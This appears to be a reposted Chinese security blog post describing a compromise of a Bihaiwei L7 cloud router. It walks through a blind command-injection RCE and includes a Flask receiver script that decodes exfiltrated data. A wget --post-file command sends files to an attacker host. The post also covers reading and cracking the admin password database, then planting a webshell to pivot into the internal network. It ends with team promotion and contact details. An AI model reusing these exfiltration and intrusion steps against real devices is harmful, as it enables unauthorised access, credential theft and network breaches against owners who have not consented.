发现碧海威科技-L7云路由
首先通过公开的nday漏洞进行测试 是否存在
漏洞POC可以查看 小羊安全屋的公众号
https://mp.weixin.qq.com/s/oF1cydiyO92LVgJuyRKjvQ
然后通过``执行命令带出来 自己服务器开启python-web发现有命令回显但是回显内容有问题,只显示第一行的内容
尝试将执行的命令进行base64编码进行回显,发现没有回显内容,经过测试路由器被阉割了所有没有base64这个功能
OK命令带出来了 拿到了id执行的内容,但是执行cat /etc/passwd的时候回显还是缺少东西。并且测试没有curl命令,web根目录没有写入webshell的权限
测试发现/tmp目录有写入权限 那我们可以通过wget的特性读取文件进行post发送
首先将执行的命令base64编码写入到/tmp/1.txt
然后编写Python脚本flask接收POST数据
from flask import Flask, request
import base64
app = Flask(__name__)
defbasedecode(encoded_data):
padding = len(encoded_data) % 4
if padding != 0:
encoded_data += '=' * (4 - padding)
try:
decoded_data = base64.b64decode(encoded_data).decode('utf-8')
print('-' * 50)
print(decoded_data)
print('-' * 50)
except Exception as e:
print("Error decoding Base64 data:", e)
@app.route('/', methods=['GET','POST'])
defhandle_post():
data = request.form
result = '&'.join(f'{key}{value}'
for key, value in data.items())
result = result.replace('n','')
basedecode(result)
return'ok'
if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0', port=80)
通过python启动web
在通过wget的特性读取/tmp/1.txt进行发送成功拿到回显内容
wget –post-file=/tmp/1.txthttp://x.x.x.x/
但是还是不能写入webshell怎么办呢?通过探测后台有一个命令控制台是root权限
Web登录去/usr/hls/etc/passwd.db查询数据库内容,改一下代码,读取passwd.db文件base64输出,通过python脚本解密成1.db在本地连接sqlite进入后台
这个过程同上面差不多就不细说了。
最后拿到md5加密的密码进行解密。
通过公开的漏洞后台有命令控制台可以执行命令
cd到web根目录wget下载webshell进行连接,OK突破隔离进入内网,开干吧
感谢关注RongRui科技,技术交流私信拉群
承接项目:软件开发、web开发、攻防演练、等保测评等
进群+V:BeoutSea (备注:进群)
原文始发于微信公众号(RongRui安全团队):记录一次RCE无回显突破内网隔离
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论